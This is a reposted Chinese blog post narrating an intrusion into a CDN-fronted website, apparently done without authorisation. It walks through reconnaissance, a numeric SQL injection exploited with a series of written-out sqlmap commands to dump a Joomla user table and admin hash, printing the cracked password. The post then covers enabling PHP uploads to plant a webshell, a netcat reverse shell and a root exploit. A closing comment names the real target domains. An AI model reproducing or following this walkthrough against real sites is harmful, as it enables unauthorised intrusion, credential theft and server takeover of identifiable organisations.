最新消息:

对某反向代理CDN网站的渗透思路

别人渗透网站学习 admin 5032浏览 0评论

小A基友开站,必来支持一下,就丢一篇文章大牛勿笑。
这次渗透的目标是:http://www.aaa.com(由于这网站存放了大量的用户资料,担心被Helen等人轮),打开后网站如图
130607090962cd87e28d3e855e
在网站里随便走了走,发现基本上是静态页面,检测出首页是index.php,二话不说把它扔到wwwscan里面跑,初步判断出服务器是nginx
1306070913fe44ef47f1df70d4
再看看版本号令我大失所望,玩黑的都知道nginx解析漏洞,不用进后台直接注册一个会员,在上传头像的地方上传图片马即可秒拿webshell,但是那 种漏洞已经成为过去了,影响版本为:nginx 0.7.65以下(0.5.*, 0.6.*, 0.7.* )全版本系列和0.8.37(0.8.*)以下8系列,看了一下目录,也没什么可利用的价值,好吧,我承认我菜~!
我最初的判断是:某个CMS+DIY,也就是说大体模板是网上的开源或收费的CMS,买下载下来后再是自己改造了一下源代码什么的,但是我始终查不出是哪个CMS,更别说用什么0day了,于是果断旁注,拿出黑阔必备的御剑1.5,查询旁站,这下我就傻了
1306070913655cd6e84d11879e
日,这不是传说中的反向代理吗,我猜测应该是nginx搞的鬼,这反向代理服务器,为了进一步证实是的想法,我打开ping.chinaz.com用多地点ping功能看了一下
13060709141b2da8c5052dabec
呵呵~!这是咋了,各个地方Ping到的IP都不一样,结合御剑的结果判断出了一定是做了CDN的结果,这里简单的科普一下下,CDN既内容发布网络,为 了使网站内容传输更加快捷,通常在网络中布置了多个CDN服务器(分布式存储),这些CDN离用户仅有一跳之隔,大大提高了网站的访问速度及,负载均衡。 CDN服务器里的缓存服务及内容提供商的源服务,所以我们访问网站时连接的是某个离自己最近的CDN服务器,所以我们ping到的服务器IP就是此CDN 服务器的IP,所以在不同的地方ping出来的IP都不一样,这样也完美的的隐藏了真实服务器的IP地址,当你旁注的时候就会无法找到正真的旁站
在本机ping:
1306070915907a83d981d8e3f4
在肉鸡上ping:
13060709164ea3729d4882583a
可以发现解析出来的IP不一样,所以他们访问的CDN服务器就不一样,于是果断放弃了旁注与C段。在CDN服务器中发现了这个链接http://ad.aaa.com/www/admin/index.php,发现是某个控制面板的登陆平台,试了试几个弱口令无果。
旁注与C段的思路都断了,很多人到这一步一定会果断放弃的,但是我觉得还有思路,可以走下去,我又回到主页逛一逛,看到有注册的东东,顺便注册了一个用户,注册完毕后直接登录,直接跳转到了一个二级域名的页面:http://my.aaa.com  ,想到这里,突然来了思路,所噶,目标锁定了网站的所有二级域名,打开http://who.is来查询域名信息,发现了网站管理员的一些信息
1306070955f686be9ef5ab2624
13060709558f769198996f9dc0
发现没什么有用的信息,接着祭出神器:nslookup,看看有木有DNS域泄露,先打开Windows下的nslookup看能否列二级域名,这里不废话了,直接上图,如图
1306071001c91219a994a50b96
1306071001ed416b08ad2c2dd0
呵呵~!又遇到问题了,无法ls出2级域名,看来服务器做了什么限制的,求大牛指教。后来上了BT5的dnswalk也无法暴力破解
1306071002ed5e5272f7b71313
算了,只能从网站环境入手,又在网站主站周边逛一逛,一边动手测试所有的能猜解到的二级域名,感觉都是用的同一程序,基本上不存在啥注入,上传之类的高危 漏洞,列出来的就是些什么bbs,ask,new等等这些域名,也木有什么利用价值,就这样还花了我不少时间,最近为了大赛又被老师们逼着学LINUX, 没办法,只能拿出空余时间检测了,这几天似乎都没什么进展,突然在某一天,我发现某个二级域名的页面,有这个网站服务的联系电话123456(代替),我 想这会不会是网站的域名呢,我试了试,我日,果然不错,打开后如图所示
130607100392dab91bc57f8502
看样子好像是主站旗下的什么网站,大致浏览了一遍,居然发现item参数存在数字型注入,注入连接为:http://www.123456.com/ component/maintain/?view=maintain&item=44,哎,这网站百密必有一疏,用了“’”、“and  1=1”、“and 1=2”测试了一下证实了我的想法,
13060710040e771b4c2f2688bf
13060710044cbc759d65422bc2
130607100433e4a11e73bad227
这里证实了有注入漏洞,于是果断扔到SQLMAP里面跑了起来,这里顺便普及一下SQLMAP常用的注入命令,首先判断地址变量是否存在注入,在输入命令 前要将当前目录切换到SQLMAP的根目录下,下面上命令吧:./sqlmap.py -u “http://www.123456.com/component/maintain/?view=maintain&item=45” -p “item”  迅速得出了结果
13060710057179194856e6c2d5
可以看出SQLMAP通过注入返回了网站的基本环境,见图最下方,PHP版本(5.2.6),Apache版本(2.2.9),MYSQL版本(5),我 记得主站是nginx,算了,这里先不去管他,继续注入:./sqlm   ap.py -u “http://www.123456.com/component/maintain/?view=maintain&item=45” -v 1 –dbs,直接爆数据库
1306071006829d2d361c701532
一下子看到了令人兴奋的mysql数据库名,难道是root用户连接数据库,于是用命令:./sqlmap.py -u “http://www.123456.com/component/maintain/?view=maintain&item=45” -v 1 –users看看数据库所有用户
1306071006a823d4bfa0f0d815
在用命令:./sqlmap.py -u “http://www.123456.com/component/maintain/?view=maintain&item=45” -v 1 –current-user,查询当前用户,才发现数据库权限一切都是浮云
1306071007b5fb1b48c7124efc
悲催的站库分离,看来服务器处于内网中,好吧,还是老老实实的爆网站数据库吧,上命令:./sqlmap.py -u “http://www.123456.com/component/maintain/?view=maintain&item=45” -v 1 –current-db,爆出了当前网站的数据库
130607100984a4edd1b23069cc
可以发现当前数据库为“service”锁定这个数据库继续前进,下面就不多说了直接上图,爆数据库表:./sqlmap.py -u “http://www.123456.com/component/maintain/?view=maintain&item=45” -v 1 –tables -D “service”
1306071010e9ffe0442c349672
表很多,看到前面统一的前缀,判断是某个CMS吧,但还是无法正确判断,继续上命令:./sqlmap.py -u “http://www.123456.com/component/maintain/?view=maintain&item=45” -v 1 –columns -T “jos_users” -D “service”(看到user,admin,manage这类的都可能是存放管理员的账号密码的表),爆出列名
1306071010431f8b85f15a8e2a
看到这里我想大家都该明白了吧,OK,上命令:./sqlmap.py -u “http://www.123456.com/component/maintain/?view=maintain&item=45” -v 1 –dump –C “id,name,username,password” -T “jos_users” -D “service”,直接爆出管理员的用户名及密码,admin| (b5ec2b20d07a790cbb060addb530232c:VZDjuyBcJsZNiUM7az6VxsgaWkxqZOwQ),看到眼前 这个加密方式,凭我初步的判断,认为是joomla的加密,于是果断访问/administrators:果断出现
1306071011d1c17511ccf329e5
于是果断将上面的密文拿去cmd5破解,人品极好,破解出了明文密码mitaian(Joomla最安全的地方加密信息做得不错)
1306071012431dc1fed3fa4008
二话不说,直接杀了进去
1306071013fd9a79e5a1169d2c
下面就好办多了,直接“网站”——》“全局设置”——》“系统”——》“媒体设置”,在合法扩展名那里添加php后缀,最后保存设置,回到控制面板,进入 “媒体管理”,发现有几个前辈的马儿,不管了,直接上php马,如图(26)第一次还上传不上去,后来发现在“媒体设置”那里要把“限制上传”改为 “否”,OK。
13060710146d641118e5aac20b
看了看文件绝对路径,于是访问shell地址,感觉还是菜刀好用些,就果断一句话了,迅速得到webshell
1306071017416aab823ad61c2d
看了看服务器的环境,处于内网中
13060710187e87034adbf55d2b
我就迫不及待的看了看apache配置文件,看能不能发现主站的信息,下面发现的事情让我舒服多了,不废话了
13060710208f4852688a67dadb
果断跳转目录,发现木有写权限,算了吧,上大马,再在一台外网肉鸡里运行nc监听12345端口反弹shell到本地,接着就是下载exp到目标服务器,运行exp,OK,直接root了
13060710200386ab99afa2eda2

转载请注明:jinglingshu的博客 » 对某反向代理CDN网站的渗透思路

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (2)

  1. 通过上面渗透过程的学习,认识到渗透前信息收集的重要性(靠电话号码获取域名)。 同时,学习了何为CDN,CDN的作用。 同时还明确了二级域名的作用(类似旁站),因此在渗透时如果主站拿不下来可以尝试二级域名,因为二级域名和主站一般不用同一套系统。二级域名搜索工具汇总:http://sec-wiki.com/topic/3。 即在线查二级域名的有:http://alexa.chinaz.com/。
    admin12年前 (2013-06-07)回复
  2. 说明:上述渗透过程的网站是:http://www.haohaizi.com/、http://www.goodbaby.com/。有漏洞的网址:http://www.4008280000.com
    admin12年前 (2013-06-07)回复